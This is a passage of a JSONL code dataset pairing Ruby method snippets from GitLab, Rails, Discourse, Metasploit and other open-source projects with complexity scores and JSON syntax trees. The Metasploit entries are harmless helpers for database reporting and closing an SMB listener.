end","complexity_score":36.45,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"nbname_decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"decoded\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"length\"]},\"%\",{\"type\":\"int\",\"children\":[2]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"str\",\"children\":[\"A\"]}]},null]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"two\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"slice!\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"two\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"two\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"-\",{\"type\":\"int\",\"children\":[65]}]}]},\"*\",{\"type\":\"int\",\"children\":[16]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"two\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"-\",{\"type\":\"int\",\"children\":[65]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded\"]}]}]}]}","id":"b83eb16c-ed9d-468e-809d-6df0c2d56690"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/drop_pipeline_service.rb","start_line":6,"raw_source":"def execute_async_for_all(pipelines, failure_reason, context_user)\n      pipelines.cancelable.select(:id).find_in_batches do |pipelines_batch|\n        Ci::DropPipelineWorker.bulk_perform_async_with_contexts(\n          pipelines_batch,\n          arguments_proc: ->(pipeline) { [pipeline.id, failure_reason] },\n          context_proc: ->(_) { { user: context_user } }\n        )\n      end\n    end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_async_for_all\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipelines\"]},{\"type\":\"arg\",\"children\":[\"failure_reason\"]},{\"type\":\"arg\",\"children\":[\"context_user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipelines\"]},\"cancelable\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"find_in_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipelines_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"DropPipelineWorker\"]},\"bulk_perform_async_with_contexts\",{\"type\":\"lvar\",\"children\":[\"pipelines_batch\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments_proc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"failure_reason\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context_proc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"context_user\"]}]}]}]}]}]}]}]}]}","id":"8f351ed1-4c0e-4a97-9f40-871903e2bbde"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/update_package_from_metadata_service.rb","start_line":130,"raw_source":"def update_linked_package\n        @package_file.package.update!(\n          name: package_name,\n          version: package_version,\n          status: :default\n        )\n\n        ::Packages::Nuget::CreateDependencyService.new(@package_file.package, package_dependencies)\n                                                  .execute\n        @package_file.package\n      end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_linked_package\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@package_file\"]},\"package\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"package_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[null,\"package_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"default\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Nuget\"]},\"CreateDependencyService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@package_file\"]},\"package\"]},{\"type\":\"send\",\"children\":[null,\"package_dependencies\"]}]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@package_file\"]},\"package\"]}]}]}","id":"515edaee-52ab-481e-baf7-7129a1bbd216"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/named_function.rb","start_line":8,"raw_source":"def initialize(name, expr)\n        super(expr)\n        @name = name\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"expr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expr\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"498f9c9e-83d9-442a-bdde-8d5f56a8923b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/publisher.rb","start_line":432,"raw_source":"def self.publish_archive_status(\n      chat_channel,\n      archive_status:,\n      archived_messages:,\n      archive_topic_id:,\n      total_messages:\n    )\n      MessageBus.publish(\n        CHANNEL_ARCHIVE_STATUS_MESSAGE_BUS_CHANNEL,\n        {\n          chat_channel_id: chat_channel.id,\n          archive_failed: archive_status == :failed,\n          archive_completed: archive_status == :success,\n          archived_messages: archived_messages,\n          total_messages: total_messages,\n          archive_topic_id: archive_topic_id,\n        },\n        permissions(chat_channel),\n      )\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_archive_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chat_channel\"]},{\"type\":\"kwarg\",\"children\":[\"archive_status\"]},{\"type\":\"kwarg\",\"children\":[\"archived_messages\"]},{\"type\":\"kwarg\",\"children\":[\"archive_topic_id\"]},{\"type\":\"kwarg\",\"children\":[\"total_messages\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"const\",\"children\":[null,\"CHANNEL_ARCHIVE_STATUS_MESSAGE_BUS_CHANNEL\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archive_failed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"archive_status\"]},\"==\",{\"type\":\"sym\",\"children\":[\"failed\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archive_completed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"archive_status\"]},\"==\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archived_messages\"]},{\"type\":\"lvar\",\"children\":[\"archived_messages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_messages\"]},{\"type\":\"lvar\",\"children\":[\"total_messages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archive_topic_id\"]},{\"type\":\"lvar\",\"children\":[\"archive_topic_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"permissions\",{\"type\":\"lvar\",\"children\":[\"chat_channel\"]}]}]}]}","id":"7aa81a0d-ae82-466b-9882-aec6df95a448"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/conan/metadata_extraction_service.rb","start_line":108,"raw_source":"def package_reference\n        package_file.conan_file_metadatum.package_reference\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"package_reference\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},\"conan_file_metadatum\"]},\"package_reference\"]}]}","id":"02b2e1aa-b484-4124-b722-13f9e9c6a972"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/representers/bim/bcf/api/v2_1/comments/authorization_representer.rb","start_line":40,"raw_source":"def manage_bcf_allowed?\n      represented.user.allowed_in_project?(:manage_bcf, represented.model.project)\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"manage_bcf_allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"manage_bcf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"model\"]},\"project\"]}]}]}","id":"a9a364dd-5486-4dfe-93d3-a4bfeba7b18b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/report.rb","start_line":328,"raw_source":"def report_exploit(opts={})\n    return if not db\n    opts = {\n        :workspace => myworkspace,\n        :task => mytask\n    }.merge(opts)\n    framework.db.report_exploit(opts)\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_exploit\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"send\",\"children\":[null,\"mytask\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"report_exploit\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"5a19a0ec-f46d-4878-8166-ee24debb6693"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/time.rb","start_line":29,"raw_source":"def initialize(sec, nsec = 0)\n      @sec = sec\n      @nsec = nsec\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sec\"]},{\"type\":\"optarg\",\"children\":[\"nsec\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sec\",{\"type\":\"lvar\",\"children\":[\"sec\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@nsec\",{\"type\":\"lvar\",\"children\":[\"nsec\"]}]}]}]}","id":"e6cd2b21-80c8-4e6e-9acc-41e98f67e7e1"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/imports_controller.rb","start_line":31,"raw_source":"def set_user\n        @object.user = try_spree_current_user\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"user=\",{\"type\":\"send\",\"children\":[null,\"try_spree_current_user\"]}]}]}","id":"e3f4973a-614e-4ff6-8e15-3c0ef9bab2b3"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/variable_interpolation.rb","start_line":34,"raw_source":"def message(range)\n          format(MSG, variable: range.source)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"source\"]}]}]}]}]}","id":"90005bf8-0c94-4fbd-a119-b31daddd13fc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/cacheable_attributes.rb","start_line":27,"raw_source":"def build_from_defaults(attributes = {})\n      final_attributes = defaults\n        .merge(attributes)\n        .stringify_keys\n        .slice(*column_names)\n\n      new(final_attributes)\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_from_defaults\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"final_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"defaults\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},\"stringify_keys\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_names\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"final_attributes\"]}]}]}]}","id":"8b025e40-3144-42b9-8092-8c0cc8deea22"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/server.rb","start_line":107,"raw_source":"def stop\n    self.listener.close\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener\"]},\"close\"]}]}","id":"df13cd97-986d-4791-a2e3-3c821ede5a36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/packages/destroy.rb","start_line":17,"raw_source":"def resolve(id:)\n        package = authorized_find!(id: id)\n\n        return { errors: [deletion_protected_error_message] } if protected_for_delete?(package)\n\n        result = ::Packages::MarkPackageForDestructionService.new(\n          container: package,\n          current_user: current_user\n        ).execute\n\n        errors = result.error? ? Array.wrap(result[:message]) : []\n\n        {\n          errors: errors\n        }\n      end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_for_delete?\",{\"type\":\"lvar\",\"children\":[\"package\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deletion_protected_error_message\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"MarkPackageForDestructionService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"lvar\",\"children\":[\"package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"execute\"]}]},{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"error?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}]}]}","id":"8c97f3e0-23d0-47e6-99e9-8f891e9efb5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/error_tracking/error_event.rb","start_line":22,"raw_source":"def to_sentry_error_event\n    Gitlab::ErrorTracking::ErrorEvent.new(\n      issue_id: error_id,\n      date_received: occurred_at,\n      stack_trace_entries: stacktrace\n    )\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"to_sentry_error_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"ErrorEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_id\"]},{\"type\":\"send\",\"children\":[null,\"error_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date_received\"]},{\"type\":\"send\",\"children\":[null,\"occurred_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stack_trace_entries\"]},{\"type\":\"send\",\"children\":[null,\"stacktrace\"]}]}]}]}]}","id":"ebdac5c1-b271-4167-bb9a-39687786c69b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_helper.rb","start_line":2708,"raw_source":"def fields_for_with_nested_attributes(association_name, association, options, block)\n          name = \"#{object_name}[#{association_name}_attributes]\"\n          association = convert_to_model(association)\n\n          if association.respond_to?(:persisted?)\n            association = [association] if @object.public_send(association_name).respond_to?(:to_ary)\n          elsif !association.respond_to?(:to_ary)\n            association = @object.public_send(association_name)\n          end\n\n          if association.respond_to?(:to_ary)\n            explicit_child_index = options[:child_index]\n            output = ActiveSupport::SafeBuffer.new\n            association.each do |child|\n              if explicit_child_index\n                options[:child_index] = explicit_child_index.call if explicit_child_index.respond_to?(:call)\n              else\n                options[:child_index] = nested_child_index(name)\n              end\n              if content = fields_for_nested_model(\"#{name}[#{options[:child_index]}]\", child, options, block)\n                output << content\n              end\n            end\n            output\n          elsif association\n            fields_for_nested_model(name, association, options, block)\n          end\n        end","complexity_score":46.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fields_for_with_nested_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association_name\"]},{\"type\":\"arg\",\"children\":[\"association\"]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_name\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association_name\"]}]},{\"type\":\"str\",\"children\":[\"_attributes]\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"association\",{\"type\":\"send\",\"children\":[null,\"convert_to_model\",{\"type\":\"lvar\",\"children\":[\"association\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"persisted?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"association_name\"]}]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_ary\"]}]},{\"type\":\"lvasgn\",\"children\":[\"association\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_ary\"]}]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"association\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"association_name\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_ary\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"explicit_child_index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"child_index\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"SafeBuffer\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explicit_child_index\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explicit_child_index\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"child_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explicit_child_index\"]},\"call\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"child_index\"]},{\"type\":\"send\",\"children\":[null,\"nested_child_index\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[null,\"fields_for_nested_model\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"child_index\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"lvar\",\"children\":[\"child\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},{\"type\":\"send\",\"children\":[null,\"fields_for_nested_model\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"association\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]},null]}]}]}]}","id":"c92f7681-d861-40c1-bd82-a75d8efa19cc"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_user_serializer.rb","start_line":37,"raw_source":"def can_change_trust_level\n    scope.can_change_trust_level?(object)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_change_trust_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_change_trust_level?\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"40f1e1ec-9305-410d-8cf6-c3dc5ce331a7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/audit_event.rb","start_line":130,"raw_source":"def self.find_user_id(username)\n    User.find_by_username(username)&.id\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_user_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_username\",{\"type\":\"lvar\",\"children\":[\"username\"]}]},\"id\"]}]}","id":"27945d1f-4ce0-4c6f-ac29-0d52da294209"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/github_pull_request_diff.rb","start_line":34,"raw_source":"def repo\n          parameters[:repo]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo\"]}]}]}","id":"bc472f91-f8bb-42ac-bc34-eb11c8a2a9d4"}
